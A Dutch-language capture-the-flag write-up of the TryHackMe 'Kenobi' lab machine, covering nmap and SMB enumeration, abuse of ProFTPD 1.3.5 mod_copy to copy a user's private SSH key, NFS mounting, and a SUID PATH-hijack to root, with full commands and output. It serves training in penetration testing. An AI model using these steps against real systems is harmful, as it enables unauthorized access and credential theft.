Kenobi – TryHackMe – Handmatig schrijven

Reading Time: ( Word Count: )

februari 28, 2021
Nextdoorsec-course

Intro

De Kenobi box zal de volgende onderwerpen behandelen:

  • Opsomming van samba-aandelen
  • Manipulatie van een kwetsbare versie van proftpd
  • Manipulatie van padvariabelen voor privilege-escalatie

Opsomming

Nmap

Eerste Nmap scan:

┌──(kali㉿kali)-[~] └─$ nmap -A -v $IP PORT STATE SERVICE VERSIE 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA) | 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA) | 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methodes: |Ondersteunde methoden: GET HEAD POST OPTIONS | http-robots.txt: 1 afgekeurde vermelding |/admin.html |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site heeft geen titel (text/html). 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | programma versie port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100003 2,3,4 2049/udp nfs | 100003 2,3,4 2049/udp6 nfs | 100005 1,2,3 40218/udp6 mountd | 100005 1,2,3 43681/tcp6 mountd | 100005 1,2,3 55583/udp mountd | 100005 1,2,3 59803/tcp mountd | 100021 1,3,4 37255/tcp6 nlockmgr | 100021 1,3,4 41993/tcp nlockmgr | 100021 1,3,4 48289/udp nlockmgr | 100021 1,3,4 60413/udp6 nlockmgr | 100227 2,3 2049/tcp nfs_acl | 100227 2,3 2049/tcp6 nfs_acl | 100227 2,3 2049/udp nfs_acl |100227 2,3 2049/udp6 nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (werkgroep: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (werkgroep: WORKGROUP) 2049/tcp open nfs_acl 2-3 (RPC #100227) Service Info: Host: KENOBI; OS: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script resultaten: |_clock-skew: gemiddelde: 1h59m58s, afwijking: 3h27m51s, mediaan: -1s | nbstat: NetBIOS naam: KENOBI, NetBIOS gebruiker: NetBIOS MAC: (onbekend) | Namen: | KENOBI<00> Vlaggen: | KENOBI<03> Vlaggen: | KENOBI<20> Vlaggen: |<01> Vlaggen: | WORKGROUP<00> Vlaggen: | WORKGROUP<1d> Vlaggen: |WORKGROUP<1e> Vlaggen: | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer naam: kenobi | NetBIOS computernaam: KENOBI. | Domeinnaam: \x00 | FQDN: kenobi |Systeemtijd: 2021-02-24T11:43:11-06:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: ondersteund | message_signing: uitgeschakeld (gevaarlijk, maar standaard) | smb2-security-mode: | 2.02: |Ondertekening van berichten ingeschakeld maar niet vereist | smb2-time: | datum: 2021-02-24T17:43:11 |startdatum: n.v.t.

De apache server op poort 80, ProFTPD’s versie op poort 21 en Samba shares krijgen mijn onmiddellijke aandacht.

Niets waardevols op poort 80, ook niet na het scannen naar andere mappen/bestanden met gobuster.

Laten we de smb shares en gebruikers opsommen met Nmap scripts:

┌──(kali㉿kali)-[~] └─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP
PORT STATE SERVICE 445/tcp open microsoft-ds Host script resultaten: | smb-enum-shares: | account_used: guest | 10.10.100.215: | Type: STYPE_IPC_HIDDEN | Commentaar: IPC Service (kenobi server (Samba, Ubuntu)) | Gebruikers: 2 | Max gebruikers: | Pad: C:\tmp | Anonieme toegang: LEZEN/SCHRIJVEN | Huidige gebruikerstoegang: READ/WRITE | 10.10.100.215 Anoniem: | Type: STYPE_DISKTREE | Commentaar: | Gebruikers: 0 | Max gebruikers: | Pad: C:\home\kenobi\share | Anonieme toegang: LEZEN/SCHRIJVEN | Huidige gebruikerstoegang: READ/WRITE | 10.10.100.215: | Type: STYPE_DISKTREE | Commentaar: Printerstuurprogramma's | Gebruikers: 0 | Max gebruikers: | Pad: C:varlibsamba's | Anonieme toegang: |Huidige gebruikerstoegang:

Het lijkt erop dat we lees/schrijftoegang hebben tot twee van de aandelen.

Laten we een van de aandelen bekijken:

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/anonymous
smb: > ls . D 0 Wed Sep 4 12:49:09 2019 ... D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019 9204224 blokken van grootte 1024. 6877100 blokken beschikbaar smb: \> get log.txt ┌──(kali㉿kali)-[~] └─$ cat log.txt
Genereren van publiek/privaat rsa sleutelpaar. Voer het bestand in waarin de sleutel moet worden opgeslagen (/home/kenobi/.ssh/id_rsa): Directory '/home/kenobi/.ssh' aangemaakt. Voer de wachtwoordzin in (leeg voor geen wachtwoordzin): Voer dezelfde wachtwoordzin opnieuw in: Uw identificatie is opgeslagen in /home/kenobi/.ssh/id_rsa. Uw publieke sleutel is opgeslagen in /home/kenobi/.ssh/id_rsa.pub. De belangrijkste vingerafdruk is: SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi De randomart van de sleutel is: ...

log.txt bevat informatie over het genereren van een private ssh-sleutel die zich in de standaardmap bevindt. Het bevat ook informatie over de ProFTPD-dienst.

NFS

Voordat we met de exploitatiefase beginnen, moeten we nog wat opsommen. Laten we het netwerkbestandssysteem (nfs) opsommen dat eerder op poort 111 is gevonden:

┌──(kali㉿kali)-[~] └─$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP
PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: /var

Nu we weten dat het mogelijk is om de /var directory te mounten, laten we dit in gedachten houden en verder gaan met de exploitatiefase.

Exploitatie

Searchsploit

We hebben eerder de versie van proftpd gevonden, laten we kijken of er mogelijke exploits zijn:

┌──(kali㉿kali)-[~] └─$ searchsploit proftpd 1.3.5
----------------------------------------------------------- --------------------------------- Exploit Titel | Pad ----------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Beveluitvoering op afstand | linux/remote/36803.py ProFTPd 1.3.5 - Bestandskopie | linux/remote/36742.txt ----------------------------------------------------------- ---------------------------------

De derde exploit, “36742.txt”, vertelt ons over het gebruik van de mod_copy module’s SITE CPFT/SITE CPTO commando’s. Het zou ons in staat moeten stellen deze commando’s ongeauthenticeerd te gebruiken voor het kopiëren van bestanden/directories van de ene plaats naar de andere op de server. Laten we verder gaan en ons verbinden met nc naar poort 21 (ftp).

We weten dat de FTP service draait als de Kenobi gebruiker (uit het bestand op de share), en er is een ssh sleutel gegenereerd voor die gebruiker (log.txt).

┌──(kali㉿kali)-[~] └─$ nc $IP 21
220 ProFTPD 1.3.5 Server (ProFTPD Standaardinstallatie) [10 .10.100.215] SITE CPFR /home/kenobi/.ssh/id_rsa 350 Bestand of map bestaat, klaar voor bestemmingsnaam. SITE CPTO /var/tmp/id_rsa 250 Kopieer succesvol

We kunnen nu de directory lokaal mounten en de eerder gekopieerde sleutel downloaden.

┌(kali㉿kali)-[~] └─$ sudo mkdir /mnt/kenobiNFS ┌(kali㉿kali)-[~] └─$ sudo mount $IP:/var /mnt/kenobiNFS
┌──(kali㉿kali)-[~] └─$ ls -la /mnt/kenobiNFS totaal 56 drwxr-xr-x 14 root root 4096 4 sep 2019 . drwxr-xr-x 3 root root 4096 Feb 26 00:07 ... drwxr-xr-x 2 root root 4096 sep 4 2019 back-ups drwxr-xr-x 9 root root 4096 sep 4 2019 cache drwxrwxrwt 2 root root 4096 4 sep 2019 crash drwxr-xr-x 40 root root 4096 sep 4 2019 lib drwxrwsr-x 2 root staff 4096 apr 12 2016 local lrwxrwx 1 root root 9 sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root crontab 4096 sep 4 2019 logboek drwxrwsr-x 2 root mail 4096 feb 26 2019 mail drwxr-xr-x 2 root root 4096 Feb 26 2019 opt lrwxrwx 1 root 4 sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 jan 29 2019 snap drwxr-xr-x 5 root root 4096 sep 4 2019 spool drwxrwxrwt 6 root root 4096 25 feb 23:54 tmp drwxr-xr-x 3 root root 4096 4 sep 2019 www

We hebben nu een netwerk mount op ons doelwit, net als een fysiek aangesloten apparaat op onze pc! We kunnen naar /var/tmp gaan, de private sleutel halen, en dan inloggen op Kenobi’s account.

┌(kali㉿kali)-[~] └─$ cp /mnt/kenobiNFS/tmp/id_rsa . ┌(kali㉿kali)-[~] └─$ sudo chmod 600 id_rsa ┌C↩(kali㉿kali)-[~] └─$ ssh -i id_rsa kenobi@$IP
kenobi@kenobi:~$ whoami kenobi

We moeten de private ssh-sleutels altijd lees-/schrijfrechten geven. Anders werkt het niet vanwege beveiligingsproblemen. Hier zijn de juiste rechten:
De .ssh-directory moet 700 rechten hebben (drwx——).
De openbare sleutel (.pub-bestand) moet 644 (-rw-r–r–) zijn.
De private sleutel (id_rsa) op de client host, en het authorized_keys bestand op de server, moeten 600 (-rw——-) zijn.

Privilege-escalatie

SUID

Laten we zoeken naar bestanden/programma’s met de SUID bit ingesteld:

kenobi@kenobi:~$ find / -user root -perm -4000 -exec ls -ldb {} [>/dev/null -rwsr-xr-x 1 root root 94240 mei 8 2019 /sbin/mount.nfs -rwsr-xr-x 1 root 14864 jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-- 1 root messagebus 42992 jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-sr-x 1 root 98440 jan 29 2019 /usr/lib/snapd/snap-confine -rwsr-xr-x 1 root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root 428240 jan 31 2019 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic -rwsr-xr-x 1 root root 49584 mei 16 2017 /usr/bin/chfn -rwsr-xr-x 1 root 32944 mei 16 2017 /usr/bin/newgidmap -rwsr-xr-x 1 root 23376 jan 15 2019 /usr/bin/pkexec -rwsr-xr-x 1 root 54256 mei 16 2017 /usr/bin/passwd -rwsr-xr-x 1 root 32944 mei 16 2017 /usr/bin/newuidmap -rwsr-xr-x 1 root 75304 mei 16 2017 /usr/bin/gpasswd -rwsr-xr-x 1 root 8880 sep 4 2019 /usr/bin/menu -rwsr-xr-x 1 root 136808 Jul 4 2017 /usr/bin/sudo -rwsr-xr-x 1 root 40432 mei 16 2017 /usr/bin/chsh -rwsr-xr-x 1 root 39904 mei 16 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 27608 mei 16 2018 /bin/umount -rwsr-xr-x 1 root 30800 jul 12 2016 /bin/fusermount -rwsr-xr-x 1 root root 40152 mei 16 2018 /bin/mount -rwsr-xr-x 1 root 44168 mei 7 2014 /bin/ping -rwsr-xr-x 1 root 40128 mei 16 2017 /bin/su -rwsr-xr-x 1 root 44680 mei 7 2014 /bin/ping6

SUID misbruik is een veel voorkomende privilege escalatie techniek die het mogelijk maakt om root toegang te krijgen door het uitvoeren van een root-eigen binary met SUID ingeschakeld. Een alternatief commando zou zijn:
find / -perm -u=s -type f 2>/dev/null

U kunt meestal GTFOBins controleren om te zien hoe u het bestand met de SUID bit ingesteld kunt misbruiken, maar /usr/bin/menu is een op maat gemaakt programma. Daarom kunnen we het daar niet vinden. Laten we het uitvoeren en kijken wat het doet:

kenobi@kenobi:~$ /usr/bin/menu
*************************************** 1. status check 2. kernel version 3. ifconfig ** Maak uw keuze :

Het voert enkele eenvoudige commando’s uit bij het kiezen. Laten we proberen te zien wat er in de backend gebeurt met het commando strings, dat zoekt naar voor mensen leesbare strings op een binary:

┌──(kali㉿kali)-[~] └─$ strings /usr/bin/menu *************************************** 1. statuscontrole 2. kernelversie 3. ifconfig ** Voer uw keuze in: curl -I localhost uname -r ifconfig

Dit laat zien dat de binaries worden uitgevoerd zonder hun volledige pad, zoals het niet gebruiken van /usr/bin/curl, /usr/bin/uname of /usr/sbin/ifconfig.

Het bestand zelf draait met rootprivileges, waardoor de uitgevoerde commando’s op dezelfde manier draaien.

kenobi@kenobi:~$ cd /tmp kenobi@kenobi:~$ echo /bin/sh > ifconfig kenobi@kenobi:~$ chmod 777 ifconfig kenobi@kenobi:~$ export PATH=/tmp:$PATH kenobi@kenobi:~$ /usr/bin/menu
*************************************** 1. statuscontrole 2. kernelversie 3. ifconfig ** Voer uw keuze in :3 # whoami root #

Eerst navigeren we naar het tmp pad, dan echo /bin/sh naar een nieuw bestand genaamd ifconfig. Stel daarna de juiste rechten in op onze nieuw aangemaakte ifconfig. Dan stellen we de PATH-variabele in op het huidige pad (tmp), dus /usr/bin/menu zal onze PATH variabele gebruiken om de ifconfig binary te vinden.

Ik hoop dat alles duidelijk is. Zo niet, laat het me weten in de commentaren hieronder.

Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

“Apple neutraliseert misbruikte kwetsbaarheden: Een uitgebreide update”

Apple heeft beveiligingsverbeteringen geïntroduceerd om 'zero-day'-kwetsbaarheden te neutraliseren die zijn ...

“De AI-prestaties van ChatGPT: Verder dan de Turingtest of nog niet helemaal?”

ChatGPT, een kunstmatige intelligentie chatbot van OpenAI, heeft door zijn buitengewone capaciteiten veel stof ...

“Verliest Threads zijn draad? De Twitter rivaal van Instagram nader bekeken”.

Een artikel van de Wall Street Journal van vrijdag waarschuwde dat Instagram's nieuwe concurrent voor Twitter, ...

“VirusTotal’s datalek: Menselijke fout of systeemfout?”

Vrijdag betuigde VirusTotal spijt over het onopzettelijk blootstellen van de gegevens van meer dan 5.600 klanten ...
0 reacties

Een reactie versturen

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *